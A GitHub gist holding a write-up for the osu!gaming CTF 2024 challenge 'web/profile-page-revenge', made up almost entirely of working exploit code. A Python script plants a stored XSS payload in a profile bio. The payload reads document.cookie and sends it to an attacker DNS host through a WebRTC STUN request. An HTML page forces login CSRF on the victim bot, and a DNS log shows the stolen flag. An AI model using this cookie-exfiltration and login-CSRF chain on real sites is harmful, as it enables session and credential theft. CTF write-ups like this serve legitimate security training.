Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active March 4, 2024 15:50
Show Gist options
  • Save arkark/360ecee549539d7b1a6cd5317eac85fa to your computer and use it in GitHub Desktop.
Save arkark/360ecee549539d7b1a6cd5317eac85fa to your computer and use it in GitHub Desktop.
osu!gaming CTF 2024 - web/profile-page-revenge

osu!gaming CTF 2024

web/profile-page-revenge

  • 10 solves / 334 points
  • Author: strell
  1. Make a malicious profile:
import httpx
import string
import random

# BASE_URL = "http://localhost:3000"
BASE_URL = "https://profile-page-revenge.web.osugaming.lol"

EVIL_HOST = "foobar.messwithdns.com"

username = "".join(random.choices(string.ascii_letters, k=8))
password = username

print(f"{username = }")
print(f"{password = }")

client = httpx.Client(base_url=BASE_URL)

res = client.post(
    "/api/register",
    data={
        "username": username,
        "password": password,
    },
)
assert res.status_code == 302

csrf = res.cookies["csrf"]

bio = f"""
[youtube][img][/youtube]<script src=/**/;let/**/hex='';for(let/**/c/**/of/**/document.cookie.split('flag=')[1].slice(0,30))hex+=c.charCodeAt(0).toString(16);let/**/o=Object();o['iceServers']=[];o['iceServers'].push(Object());o['iceServers'][0]['urls']='stun:'+hex+'.{EVIL_HOST}';let/**/p=new/**/RTCPeerConnection(o);p.createDataChannel('');p.createOffer().then(p.setLocalDescription.bind(p));//>[/img]
""".strip()

res = client.post(
    "/api/update",
    data={
        "bio": bio,
    },
    headers={
        "csrf": csrf,
    },
)
assert res.text == "Bio updated!"
  1. Serve the following HTML and report the URL:
<body>
  <script>
    // const BASE_URL = "http://localhost:3000";
    const BASE_URL = "https://profile-page-revenge.web.osugaming.lol";

    const EVIL_USER = {
      username: "********",
      password: "********",
    };

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const main = async () => {
      const target = "evil";
      const win = open("about:blank", target);
      await sleep(100);

      const formHtml = `
        <form method="POST" action="${BASE_URL}/api/login" target="${target}">
          <input name="username" value="${EVIL_USER.username}">
          <input name="password" value="${EVIL_USER.password}">
        </form>
      `.trim();

      document.body.innerHTML += formHtml;
      const form = document.forms[0];
      form.submit();

      while (true) {
        try {
          win.origin;
          await sleep(10);
        } catch {
          // Note that the URL is not `/profile` but `/profile/`.
          open(`${BASE_URL}/profile/`);
          break;
        }
      }
    };
    main();
  </script>
</body>
  1. Then, a flag will be sent as a DNS query:
DNS query: 6f73757b7873735f31735f696e6576697461626c337d3b20637372663d30.foobar.messwithdns.com.
-> "osu{xss_1s_inevitabl3}; csrf=0"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment